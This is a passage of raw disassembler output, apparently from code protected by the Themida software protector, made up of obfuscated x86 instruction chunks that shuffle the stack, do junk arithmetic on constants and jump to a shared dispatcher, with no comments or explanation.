; ---------------------------------------------------------------------------
loc_5A0B9B: ; CODE XREF: Themida_:0059028Aj
mov [esp], edx
jmp loc_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_5A0BA3: ; CODE XREF: sub_59FCFF-11659j
pop eax
add ecx, 0B9E603FFh
jmp loc_5A1570
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_5A0BAF: ; CODE XREF: Themida_:0058FB04j
mov [esp], esp
add dword ptr [esp], 4
pop ebx
jmp loc_5A10A6
; ---------------------------------------------------------------------------
loc_5A0BBC: ; CODE XREF: Themida_:0059F2FBj
add edx, edi
jmp loc_58EEA1
; ---------------------------------------------------------------------------
loc_5A0BC3: ; CODE XREF: Themida_:0059FCF0j
push esi
jmp loc_592779
; ---------------------------------------------------------------------------
loc_5A0BC9: ; CODE XREF: Themida_:00593FFBj
add ebp, 4
xchg ebp, [esp]
jmp loc_59F6A3
; ---------------------------------------------------------------------------
loc_5A0BD4: ; CODE XREF: Themida_:00598BDEj
pop ebx
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A0BDA: ; CODE XREF: Themida_:005A2FF2j
add edi, 4
jmp loc_5904DB
; ---------------------------------------------------------------------------
loc_5A0BE5: ; CODE XREF: Themida_:0059C8B2j
pop esp
mov [esp], ebx
mov ebx, 4D83198Dh
jmp loc_598AB3
; ---------------------------------------------------------------------------
loc_5A0BF3: ; CODE XREF: Themida_:0059D659j
mov ebp, esp
jmp loc_59B9D1
; ---------------------------------------------------------------------------
loc_5A0BFA: ; CODE XREF: Themida_:005A16D6j
shl eax, 5
shl eax, 1
dec eax
shl eax, 3
jmp loc_596869
; ---------------------------------------------------------------------------
loc_5A0C08: ; CODE XREF: Themida_:005A0995j
mov ebx, [esp]
add esp, 4
push 451Bh
mov [esp], esi
push edx
jmp loc_59CA08
; ---------------------------------------------------------------------------
loc_5A0C1C: ; CODE XREF: Themida_:005A2A85j
pop ecx
jmp loc_595F5F
; ---------------------------------------------------------------------------
loc_5A0C22: ; CODE XREF: Themida_:005A0DDFj
mov dh, 0F9h
or dh, 16h
xor dh, 0E5h
jmp loc_590246
; ---------------------------------------------------------------------------
loc_5A0C2F: ; CODE XREF: Themida_:0059EC84j
xchg ebp, [esp]
jmp loc_597D25
; ---------------------------------------------------------------------------
loc_5A0C37: ; CODE XREF: Themida_:0059CE36j
xchg edx, [esp]
inc edx
jmp loc_5902A8
; ---------------------------------------------------------------------------
loc_5A0C40: ; CODE XREF: Themida_:00592C90j
mov [esp], edx
mov dl, 0D8h
push bx
mov bh, 0E1h
and dl, bh
pop bx
add dl, 5Fh
jmp loc_597065
; ---------------------------------------------------------------------------
loc_5A0C55: ; CODE XREF: Themida_:00593C2Fj
pop ecx
push edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 38AA4E2Dh
xor ebp, 242505CBh
jmp loc_5A2A2A
; ---------------------------------------------------------------------------
loc_5A0C70: ; CODE XREF: Themida_:0059B4B4j
push edx
jmp loc_590ED7
; ---------------------------------------------------------------------------
loc_5A0C76: ; CODE XREF: Themida_:0059F71Bj
mov ecx, esp
add ecx, 4
jmp loc_593F70
; ---------------------------------------------------------------------------
loc_5A0C83: ; CODE XREF: Themida_:00599526j
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A0C98: ; CODE XREF: Themida_:00596F94j
sub eax, 235DF5B4h
shl eax, 8
shl eax, 8
jmp loc_594E57
; ---------------------------------------------------------------------------
loc_5A0CA8: ; CODE XREF: Themida_:0059E89Ej
pop ebp
jmp loc_5A2D67
; ---------------------------------------------------------------------------
loc_5A0CAE: ; CODE XREF: Themida_:0059BEC4j
pop edx
jmp loc_5957E5
; ---------------------------------------------------------------------------
loc_5A0CB4: ; CODE XREF: Themida_:00598C46j
xor [esp], ebx
xor ebx, [esp]
jmp loc_59F6E9
; ---------------------------------------------------------------------------
loc_5A0CBF: ; CODE XREF: Themida_:0058EB79j
mov ebx, esp
push eax
jmp loc_59E91D
; ---------------------------------------------------------------------------
loc_5A0CC7: ; CODE XREF: Themida_:0059B129j
add esp, 4
sub ebp, 5A123CA0h
add ebp, edi
add ebp, 5A123CA0h
mov edi, [esp]
add esp, 4
add ebp, 2
xchg ebp, [esp]
jmp loc_5926B9
; ---------------------------------------------------------------------------
loc_5A0CF2: ; CODE XREF: Themida_:0059D3E1j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_593D45
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push esi
push esp
pop esi
jmp loc_5938A8
; ---------------------------------------------------------------------------
loc_5A0D14: ; CODE XREF: Themida_:005A0E49j
mov [esp], ecx
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A0D1C: ; CODE XREF: Themida_:0059BACCj
push 0
sub [esp], dh
jmp loc_5915B9
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_59025B
; ---------------------------------------------------------------------------
loc_5A0D3A: ; CODE XREF: Themida_:00595AF5j
sub edi, 89352089h
sub esi, edi
jmp loc_59AC8C
; ---------------------------------------------------------------------------
loc_5A0D47: ; CODE XREF: Themida_:00599E37j
add esi, edi
pop edi
jmp loc_58F16A
; ---------------------------------------------------------------------------
loc_5A0D4F: ; CODE XREF: Themida_:005A2333j
or ebx, 7B1D62E1h
xor ebx, 8127F510h
jmp loc_58F457
; ---------------------------------------------------------------------------
loc_5A0D60: ; CODE XREF: Themida_:0059589Fj
xor [esp], edx
jmp loc_594743
; ---------------------------------------------------------------------------
loc_5A0D68: ; CODE XREF: Themida_:005966D5j
mov ecx, 2C614329h
shl ecx, 5
sub ecx, 30C15E3Ah
add ebx, ecx
pop ecx
add ebx, 5CBA1A52h
add ebx, ebp
sub ebx, 5CBA1A52h
sub ebx, 5B6706E6h
pop ebp
xor ebx, [esp]
jmp loc_5974A4
; ---------------------------------------------------------------------------
loc_5A0D96: ; CODE XREF: Themida_:00599921j
push cx
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A0D9E: ; CODE XREF: Themida_:00596CFAj
dec cx
add cx, 1
push si
jmp loc_5A0AF5
; ---------------------------------------------------------------------------
loc_5A0DAC: ; CODE XREF: Themida_:005999CBj
pop edi
jmp loc_59E374
; ---------------------------------------------------------------------------
loc_5A0DB2: ; CODE XREF: Themida_:005A2C74j
add esp, 4
push ecx
mov ecx, 4AC267EFh
jmp loc_59A7E7
; ---------------------------------------------------------------------------
loc_5A0DC3: ; CODE XREF: Themida_:005930DBj
push 79A1h
mov [esp], edx
mov edx, 540569BCh
add edx, 0FFFFFFFFh
inc edx
jmp loc_5962B4
; ---------------------------------------------------------------------------
loc_5A0DDC: ; CODE XREF: Themida_:00597434j
mov [esp], edx
jmp loc_5A0C22
; ---------------------------------------------------------------------------
loc_5A0DE4: ; CODE XREF: Themida_:005A277Dj
not eax
add eax, 2AD740C9h
shr eax, 6
and eax, 780D73A0h
sub eax, 0C107Ch
add edi, eax
pop eax
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5953A4
; ---------------------------------------------------------------------------
loc_5A0E0A: ; CODE XREF: Themida_:00599FC0j
mov edx, 40582262h
push ecx
jmp loc_590644
; ---------------------------------------------------------------------------
loc_5A0E15: ; CODE XREF: Themida_:005909E8j
push esp
pop ecx
push 382Fh
mov [esp], esi
jmp loc_599F7A
; ---------------------------------------------------------------------------
loc_5A0E24: ; CODE XREF: Themida_:00592CC7j
add edi, 4
jmp loc_5A0505
; ---------------------------------------------------------------------------
loc_5A0E2C: ; CODE XREF: Themida_:0058EA50j
add ebx, eax
add ebx, 75346506h
jmp loc_596C03
; ---------------------------------------------------------------------------
loc_5A0E39: ; CODE XREF: Themida_:0059F465j
add ebp, edi
jmp loc_591C48
; ---------------------------------------------------------------------------
loc_5A0E40: ; CODE XREF: Themida_:00593E25j
pop esp
movzx ecx, ax
push 30E2h
jmp loc_5A0D14
; ---------------------------------------------------------------------------
loc_5A0E4E: ; CODE XREF: Themida_:00597655j
push 1661h
jmp loc_59E986
; ---------------------------------------------------------------------------
loc_5A0E58: ; CODE XREF: Themida_:005A1683j
push eax
push edx
sub esp, 4
jmp loc_595680
; ---------------------------------------------------------------------------
loc_5A0E62: ; CODE XREF: Themida_:0059C3A4j
mov ebx, [esp]
add esp, 4
mov ebp, [esp]
add esp, 4
pop dword ptr [edi+24h]
loc_5A0E74: ; CODE XREF: Themida_:0059F27Bj
push eax
jmp loc_592D41
; ---------------------------------------------------------------------------
loc_5A0E7A: ; CODE XREF: Themida_:0059AC2Ej
and ecx, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
jmp loc_59D9AE
; ---------------------------------------------------------------------------
loc_5A0E96: ; CODE XREF: Themida_:00598672j
not esi
xchg esi, ecx
sub ecx, 0B1A6F7F4h
add ebp, ecx
pop ecx
push ecx
mov ecx, 4
add ebp, 44F60B63h
add ebp, ecx
sub ebp, 44F60B63h
pop ecx
xchg ebp, [esp]
mov esp, [esp]
add [esp], eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A0EC7: ; CODE XREF: Themida_:00595BE4j
xor edx, [esp]
mov esp, [esp]
xchg ebx, [esp]
mov esp, [esp]
div cx
push 1C4Ah
mov [esp], ebp
push esp
push dword ptr [esp]
pop ebp
jmp loc_59CB8C
; ---------------------------------------------------------------------------
loc_5A0EE8: ; CODE XREF: Themida_:0059FA82j
xor ebx, 31569B9h
xor esi, ebx
mov ebx, [esp]
jmp loc_590F31
; ---------------------------------------------------------------------------
loc_5A0EF8: ; CODE XREF: Themida_:005A12F1j
push edi
mov edi, 2C1B13D1h
add edi, 0D3E4EC33h
add ecx, edi
pop edi
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A1688
; ---------------------------------------------------------------------------
loc_5A0F13: ; CODE XREF: Themida_:005971A4j
popa
jmp loc_58ED80
; ---------------------------------------------------------------------------
loc_5A0F19: ; CODE XREF: Themida_:0058EA32j
mov [esp], esi
push esp
jmp loc_5A23F3
; ---------------------------------------------------------------------------
loc_5A0F22: ; CODE XREF: Themida_:005951EEj
sub ebx, 486F476Fh
sub ebx, 1953271Dh
sub ebx, 4F41220Dh
add ebx, 383C1B69h
add ebx, eax
jmp loc_59A9C3
; ---------------------------------------------------------------------------
loc_5A0F41: ; CODE XREF: Themida_:005952F7j
sub edi, 44EC05E6h
pop esi
sub ebx, edi
jmp loc_5933D3
; ---------------------------------------------------------------------------
loc_5A0F4F: ; CODE XREF: Themida_:00597C1Aj
push edx
mov edx, 54DF2670h
add edi, edx
pop edx
sub esp, 4
mov [esp], ebp
jmp loc_5A06A0
; ---------------------------------------------------------------------------
loc_5A0F66: ; CODE XREF: Themida_:0059DD5Cj
sub ebp, 4
xchg ebp, [esp]
jmp loc_59ED51
; ---------------------------------------------------------------------------
loc_5A0F71: ; CODE XREF: Themida_:0059EF8Cj
add esp, 4
and eax, ecx
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_593199
; ---------------------------------------------------------------------------
loc_5A0F89: ; CODE XREF: Themida_:00590E25j
add ebx, 61616103h
xor ebx, 2AF14C40h
sub edi, ebx
pop ebx
mov edx, edi
pop edi
push 5719h
mov [esp], ebx
push 20DF7A07h
pop ebx
xor ebx, 4CFD30F5h
add edx, ebx
pop ebx
sub edx, 6E6F5F71h
add edx, edi
push ebp
mov ebp, 43405C36h
sub ebp, 0D4D0FCC5h
add edx, ebp
pop ebp
sub edx, 6C224AF2h
mov ecx, [edx]
pop edx
push 4BDAh
mov [esp], ebx
push edi
mov edi, 282F0099h
push edi
push edx
mov edx, 1
add [esp+4], edx
pop edx
pop edi
push ebp
mov ebp, 69A05FE8h
xor edi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_58E7F1
; ---------------------------------------------------------------------------
loc_5A1003: ; CODE XREF: Themida_:0058F696j
add esp, 4
pop dword ptr [esp]
jmp loc_59EE3D
; ---------------------------------------------------------------------------
loc_5A1011: ; CODE XREF: Themida_:0059833Dj
push dword ptr [esp]
pop ebp
add esp, 4
shr edi, 8
xor edi, 50F745F7h
xor edi, 1E461E3Eh
jmp loc_599C20
; ---------------------------------------------------------------------------
loc_5A102F: ; CODE XREF: Themida_:00591E8Dj
add eax, edx
jmp loc_59541E
; ---------------------------------------------------------------------------
loc_5A1036: ; CODE XREF: Themida_:0059E4DDj
sub eax, 4
xchg eax, [esp]
jmp loc_597A95
; ---------------------------------------------------------------------------
loc_5A1041: ; CODE XREF: Themida_:005924A1j
sub eax, 6E047B32h
add ecx, eax
pop eax
sub edi, 2FC81F53h
sub edi, 57DB22AAh
add edi, ecx
jmp loc_596831
; ---------------------------------------------------------------------------
loc_5A105C: ; CODE XREF: Themida_:0059C610j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5A11F9
; ---------------------------------------------------------------------------
loc_5A106A: ; CODE XREF: Themida_:0059B9CCj
add esp, 4
jmp loc_590106
; ---------------------------------------------------------------------------
loc_5A1072: ; CODE XREF: Themida_:0059F10Ej
xchg ebx, [esp]
jmp loc_59C00C
; ---------------------------------------------------------------------------
loc_5A107A: ; CODE XREF: Themida_:0058E5FCj
mov [esp], ecx
jmp loc_59F55B
; ---------------------------------------------------------------------------
loc_5A1082: ; CODE XREF: Themida_:0058F55Bj
push esp
pop edx
add edx, 4
push ebx
jmp loc_59207E
; ---------------------------------------------------------------------------
loc_5A1090: ; CODE XREF: Themida_:0059AC76j
add esp, 4
sub ecx, 1A7F1C8Fh
add ecx, eax
add ecx, 1A7F1C8Fh
jmp loc_599885
; ---------------------------------------------------------------------------
loc_5A10A6: ; CODE XREF: Themida_:005A0BB7j
push esi
jmp loc_59E079
; ---------------------------------------------------------------------------
loc_5A10AC: ; CODE XREF: Themida_:0058E746j
add esp, 4
jmp loc_599856
; ---------------------------------------------------------------------------
loc_5A10B7: ; CODE XREF: Themida_:0059F227j
push ecx
jmp loc_59165F
; ---------------------------------------------------------------------------
loc_5A10BD: ; CODE XREF: Themida_:00592151j
pop edi
jmp loc_5A084E
; ---------------------------------------------------------------------------
loc_5A10C3: ; CODE XREF: Themida_:00593EA9j
push 48EAh
mov [esp], edx
push 2AEB0FD9h
pop edx
jmp loc_594E1C
; ---------------------------------------------------------------------------
loc_5A10D6: ; CODE XREF: Themida_:005A0741j
xor bh, ah
pop eax
mov cl, bh
jmp loc_59BD8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_5A10E0: ; CODE XREF: sub_59DA2F-C5E5j
or ah, 0B5h
sub ah, 0C9h
jmp loc_5911A5
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_5A10EB: ; CODE XREF: Themida_:0059B389j
add ebp, eax
push eax
mov eax, 7C2F5587h
not eax
shl eax, 4
sub eax, 0D47C90E7h
sub ebp, eax
pop eax
pop eax
sub ebp, 621B2B61h
add ebp, eax
add ebp, 621B2B61h
sub ebp, 92A07DAh
pop eax
inc ebp
not ebp
sub ebp, 0FFFFFFFFh
xchg ebx, ebp
not ebx
xor ebp, ebx
xor ebx, ebp
xor ebp, ebx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
mov esi, 2266A84h
and ebp, esi
pop esi
xor ebp, 4BFFBh
mov ecx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
and eax, ecx
jmp loc_5976D9
; ---------------------------------------------------------------------------
loc_5A115D: ; CODE XREF: Themida_:00591853j
add eax, ecx
push ecx
push eax
jmp loc_597B78
; ---------------------------------------------------------------------------
loc_5A1166: ; CODE XREF: Themida_:00593205j
mov edi, esp
add edi, 4
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], eax
xor dword ptr [esp], 42BA720Ah
jmp loc_59AA65
; ---------------------------------------------------------------------------
loc_5A118A: ; CODE XREF: Themida_:0059E4F8j
sub ebx, eax
pop eax
and ecx, ebx
pop ebx
jmp loc_5976BC
; ---------------------------------------------------------------------------
loc_5A1195: ; CODE XREF: Themida_:00597988j
pop eax
add esi, ebx
mov ebx, [esp]
push edx
mov edx, esp
jmp loc_598044
; ---------------------------------------------------------------------------
loc_5A11A3: ; CODE XREF: Themida_:005906CAj
pop edi
and edi, 709A59BEh
push eax
jmp loc_58F131
; ---------------------------------------------------------------------------
loc_5A11B0: ; CODE XREF: Themida_:0059921Bj
mov eax, 6618590Dh
sub edx, eax
pop eax
add edx, eax
push ebp
mov ebp, 6618590Dh
add edx, ebp
jmp loc_58EC98
; ---------------------------------------------------------------------------
loc_5A11C7: ; CODE XREF: Themida_:00599EA3j
sub eax, 0D4AE48B1h
add edx, eax
mov eax, [esp]
jmp loc_58EEFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F235
loc_5A11D6: ; CODE XREF: sub_59F235-B889j
push 479Bh
mov [esp+14h+var_14], ebx
mov eax, [esp+14h+var_14]
add esp, 4
mov ebx, [esp+10h+var_10]
add esp, 4
pop esi
add ebp, 41274426h
jmp loc_599950
; END OF FUNCTION CHUNK FOR sub_59F235
; ---------------------------------------------------------------------------
loc_5A11F9: ; CODE XREF: Themida_:005A1065j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A11FE: ; CODE XREF: Themida_:005A0AF0j
add ah, 0D8h
add bl, ah
pop eax
jmp loc_59C44A
; ---------------------------------------------------------------------------
loc_5A1209: ; CODE XREF: Themida_:00594E9Aj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A120E: ; CODE XREF: Themida_:0059EFE0j
mov ecx, 1F312819h
or ecx, 6A3049E7h
jmp loc_59D7DF
; ---------------------------------------------------------------------------
loc_5A121E: ; CODE XREF: Themida_:00599943j
push dword ptr [esp+4]
jmp loc_593CCF
; ---------------------------------------------------------------------------
loc_5A1227: ; CODE XREF: Themida_:00594F78j
neg ecx
not ecx
jmp loc_593915
; ---------------------------------------------------------------------------
loc_5A1230: ; CODE XREF: Themida_:00599B1Ej
pop esp
xor al, bh
mov ebx, [esp]
jmp loc_596C27
; ---------------------------------------------------------------------------
loc_5A123B: ; CODE XREF: Themida_:0059AA54j
mov esi, 4
add edi, 0FA726F6h
sub edi, 7A9C72A5h
add edi, esi
add edi, 7A9C72A5h
sub edi, 0FA726F6h
pop esi
jmp loc_59E30F
; ---------------------------------------------------------------------------
loc_5A1260: ; CODE XREF: Themida_:00593049j
or edi, 53FC3F82h
push esi
mov esi, 44F84DBAh
and edi, esi
pop esi
add edi, 0E39C1398h
add eax, 4CCD1770h
jmp loc_598754
; ---------------------------------------------------------------------------
loc_5A127F: ; CODE XREF: Themida_:0059DFAEj
push edx
mov edx, 40395871h
jmp loc_596AE9
; ---------------------------------------------------------------------------
loc_5A128A: ; CODE XREF: Themida_:005994EBj
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
push 6132h
mov [esp], ebx
jmp loc_595E5B
; ---------------------------------------------------------------------------
loc_5A12A7: ; CODE XREF: Themida_:00599BCCj
xor ebx, edx
pop edx
shl ebx, 2
jmp loc_58FC3E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A12C0: ; CODE XREF: Themida_:0059FCC1j
and esi, 724968D4h
shr esi, 3
sub esi, 0AE4483h
add esi, 480045C7h
mov ebp, esi
jmp loc_599EB9
; ---------------------------------------------------------------------------
loc_5A12DC: ; CODE XREF: Themida_:0059C1A3j
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_59C537
; ---------------------------------------------------------------------------
loc_5A12EA: ; CODE XREF: Themida_:0059D6B5j
pop ecx
push esi
push esp
pop esi
push ecx
mov ecx, esp
jmp loc_5A0EF8
; ---------------------------------------------------------------------------
loc_5A12F6: ; CODE XREF: Themida_:00599391j
mov al, 0C2h
jmp loc_598813
; ---------------------------------------------------------------------------
loc_5A12FD: ; CODE XREF: Themida_:0059C98Dj
mov [esp], eax
mov eax, 0DC55B6Ch
add edi, eax
jmp loc_599CC9
; ---------------------------------------------------------------------------
loc_5A130C: ; CODE XREF: Themida_:0059A549j
sub ecx, 4
jmp loc_592755
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], eax
push 5F1Bh
mov [esp], esp
jmp loc_59BBBD
; ---------------------------------------------------------------------------
loc_5A1331: ; CODE XREF: Themida_:0058FA9Aj
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
push ebx
mov ebx, 71FC5B3Fh
mov ecx, 8E03A4C3h
add ecx, ebx
pop ebx
mov esi, ecx
pop ecx
add edx, esi
push dword ptr [esp]
jmp loc_59F224
; ---------------------------------------------------------------------------
loc_5A135D: ; CODE XREF: Themida_:0059B7BDj
push edi
mov edi, esp
push ecx
push eax
jmp loc_590655
; ---------------------------------------------------------------------------
loc_5A1367: ; CODE XREF: Themida_:0059B0CBj
shr esi, 5
jmp loc_59A455
; ---------------------------------------------------------------------------
loc_5A136F: ; CODE XREF: Themida_:00594B3Aj
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5986B9
; ---------------------------------------------------------------------------
loc_5A1385: ; CODE XREF: Themida_:00594E43j
inc ecx
jmp loc_59EDE5
; ---------------------------------------------------------------------------
loc_5A138B: ; CODE XREF: Themida_:00598072j
push ebp
push esi
mov esi, 589D6CA1h
mov ebp, esi
push dword ptr [esp]
pop esi
add esp, 4
push ebx
mov ebx, 1389D32Eh
add ebp, 102D7F7Dh
add ebp, ebx
sub ebp, 102D7F7Dh
pop ebx
mov edx, ebp
jmp loc_59A688
; ---------------------------------------------------------------------------
loc_5A13BA: ; CODE XREF: Themida_:005A2482j
add edi, ebp
mov ebp, [esp]
add esp, 4
push ecx
push edi
mov edi, 0A7C721Fh
xor edi, 39DC7BEEh
jmp loc_58EAD3
; ---------------------------------------------------------------------------
loc_5A13D4: ; CODE XREF: Themida_:0059584Cj
add esp, 4
jmp loc_59FBA6
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A13EC: ; CODE XREF: Themida_:00594BC1j
mov edi, 0A0C54F57h
jmp loc_59F504
; ---------------------------------------------------------------------------
loc_5A13F6: ; CODE XREF: Themida_:0059A0E7j
sub eax, 3B321091h
sub eax, ecx
add eax, 3B321091h
pop ecx
push 7A1Dh
jmp loc_58FFAB
; ---------------------------------------------------------------------------
loc_5A140D: ; CODE XREF: Themida_:00592301j
pop ebp
sub esp, 4
mov [esp], ebp
mov ebp, 556530D9h
jmp loc_59EFBC
; ---------------------------------------------------------------------------
loc_5A141E: ; CODE XREF: Themida_:0059E8B4j
dec esi
sub esi, 0DB44CB5h
add edx, esi
pop esi
push ebx
mov ebx, 173522Ah
add edx, ebx
pop ebx
jmp loc_592900
; ---------------------------------------------------------------------------
loc_5A1436: ; CODE XREF: Themida_:0059C420j
mov ebp, 1F594F9Dh
jmp loc_59D768
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5991AC
; ---------------------------------------------------------------------------
loc_5A1448: ; CODE XREF: Themida_:0058EDE5j
not ecx
push edx
mov edx, 49DC4692h
inc edx
jmp loc_593824
; ---------------------------------------------------------------------------
loc_5A1456: ; CODE XREF: Themida_:0059D972j
push dword ptr [esp]
jmp loc_599100
; ---------------------------------------------------------------------------
loc_5A145E: ; CODE XREF: Themida_:00596096j
sub cl, bh
jmp loc_59E595
; ---------------------------------------------------------------------------
loc_5A1465: ; CODE XREF: Themida_:00598028j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5979AA
; ---------------------------------------------------------------------------
loc_5A1473: ; CODE XREF: Themida_:005994DAj
add ebp, 74CA771Dh
add ebp, ecx
jmp loc_5968DC
; ---------------------------------------------------------------------------
loc_5A1480: ; CODE XREF: Themida_:005964F9j
mov ebx, esp
push esi
mov esi, 4
add ebx, esi
jmp loc_596781
; ---------------------------------------------------------------------------
loc_5A148F: ; CODE XREF: Themida_:0059D827j
mov edi, 714C2240h
jmp loc_5912AB
; ---------------------------------------------------------------------------
loc_5A1499: ; CODE XREF: Themida_:0059C223j
add edx, eax
push 1006h
mov [esp], eax
jmp loc_5951C3
; ---------------------------------------------------------------------------
loc_5A14A8: ; CODE XREF: Themida_:005A1650j
push ebx
mov ebx, 30286467h
mov eax, ebx
mov ebx, [esp]
jmp loc_590181
; ---------------------------------------------------------------------------
loc_5A14B8: ; CODE XREF: Themida_:0059F47Bj
mov ecx, esp
jmp loc_5930E0
; ---------------------------------------------------------------------------
loc_5A14BF: ; CODE XREF: Themida_:0058FC1Cj
sub edx, 7756554Fh
push dword ptr [esp]
pop esi
add esp, 4
add eax, edx
pop edx
xor ecx, eax
xor eax, ecx
xor ecx, eax
xor [edi+24h], ecx
push ebx
mov ebx, 24h
add ebx, edi
push eax
mov eax, 0
add eax, ebx
xor ecx, [eax]
pop eax
pop ebx
jmp loc_5A1B86
; ---------------------------------------------------------------------------
loc_5A14F4: ; CODE XREF: Themida_:00598B99j
pop esi
jmp loc_59EC60
; ---------------------------------------------------------------------------
loc_5A14FA: ; CODE XREF: Themida_:0059D0A4j
push 22E77263h
pop ebx
not ebx
add ebx, 7847AF22h
mov ecx, ebx
pop ebx
add ecx, 1E0912BDh
add ecx, 603226F1h
jmp loc_591849
; ---------------------------------------------------------------------------
loc_5A151C: ; CODE XREF: Themida_:005A2B4Aj
sub ebx, eax
jmp loc_5A22A8
; ---------------------------------------------------------------------------
loc_5A1523: ; CODE XREF: Themida_:00593CA5j
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
push 70CEh
mov [esp], edi
push eax
push edi
push ebp
mov ebp, 25D72F74h
mov edi, 0DF051214h
add edi, ebp
pop ebp
dec edi
sub edi, 0EA9BEE95h
mov eax, edi
jmp loc_5A285E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F235
loc_5A1563: ; CODE XREF: sub_59F235-882Dj
xor ebp, [esp+4+var_4]
pop esp
xor [esp+0], al
pushf
jmp loc_58E353
; END OF FUNCTION CHUNK FOR sub_59F235
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_5A1570: ; CODE XREF: sub_59FCFF+EABj
and esi, ecx
pop ecx
jmp loc_59002C
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_5A1578: ; CODE XREF: Themida_:005960CBj
shl ecx, 3
shr ecx, 2
and ecx, 3BEE023Ah
jmp loc_59C5CF
; ---------------------------------------------------------------------------
loc_5A1589: ; CODE XREF: Themida_:005A2673j
add edi, 5A1DDDFCh
xor ebx, edi
mov edi, [esp]
jmp loc_59709D
; ---------------------------------------------------------------------------
loc_5A1599: ; CODE XREF: Themida_:005924E7j
pop ecx
jmp loc_59C832
; ---------------------------------------------------------------------------
loc_5A159F: ; CODE XREF: Themida_:0059EE05j
shl bh, 1
jmp loc_593817
; ---------------------------------------------------------------------------
loc_5A15A6: ; CODE XREF: Themida_:0058FCBBj
mov esp, [esp]
push 3E6Ch
jmp loc_58F44D
; ---------------------------------------------------------------------------
loc_5A15B3: ; CODE XREF: Themida_:005946E3j
add esp, 4
sub ebx, 3BE45DC3h
pop eax
push eax
jmp loc_58EC51
; ---------------------------------------------------------------------------
loc_5A15C6: ; CODE XREF: Themida_:0059D6C4j
add esi, 6B7E6C85h
neg esi
not esi
shl esi, 3
or esi, 24850C62h
xor esi, 5EC56CD7h
xor ebp, esi
pop esi
jmp loc_59C287
; ---------------------------------------------------------------------------
loc_5A15E7: ; CODE XREF: Themida_:0059FA98j
mov esi, [esp]
add esp, 4
push 7173h
mov [esp], edx
push 800000h
mov edx, [esp]
push 5710h
mov [esp], ebp
push esp
jmp loc_59D657
; ---------------------------------------------------------------------------
loc_5A160B: ; CODE XREF: Themida_:00595514j
pop ecx
sub ecx, esi
pop esi
add ebp, 55747466h
jmp loc_596B7F
; ---------------------------------------------------------------------------
loc_5A161A: ; CODE XREF: Themida_:0059FDBBj
pop esp
push edx
mov edx, 318E07C4h
shl edx, 2
sub edx, 0C6381F0Ch
sub ebp, edx
pop edx
xor ebp, [esp]
xor [esp], ebp
jmp loc_592D97
; ---------------------------------------------------------------------------
loc_5A1638: ; CODE XREF: Themida_:0059C897j
add ebp, 1A076909h
jmp loc_59F8EC
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
jmp loc_594CC7
; ---------------------------------------------------------------------------
loc_5A164D: ; CODE XREF: Themida_:0059E27Aj
add esi, edi
push eax
jmp loc_5A14A8
; ---------------------------------------------------------------------------
loc_5A1655: ; CODE XREF: Themida_:005A0736j
add edx, 4
push ebx
mov ebx, 7B6F3130h
jmp loc_58F53A
; ---------------------------------------------------------------------------
loc_5A1666: ; CODE XREF: Themida_:0059854Aj
mov [esp], ebx
mov ebx, 565F5E50h
not ebx
or ebx, 733F6D08h
and ebx, 54926E9Fh
jmp loc_5A21E9
; ---------------------------------------------------------------------------
loc_5A1681: ; CODE XREF: Themida_:0058F50Fj
add esi, eax
jmp loc_5A0E58
; ---------------------------------------------------------------------------
loc_5A1688: ; CODE XREF: Themida_:005A0F0Ej
mov [esp], eax
push ecx
push 1B5B0ADDh
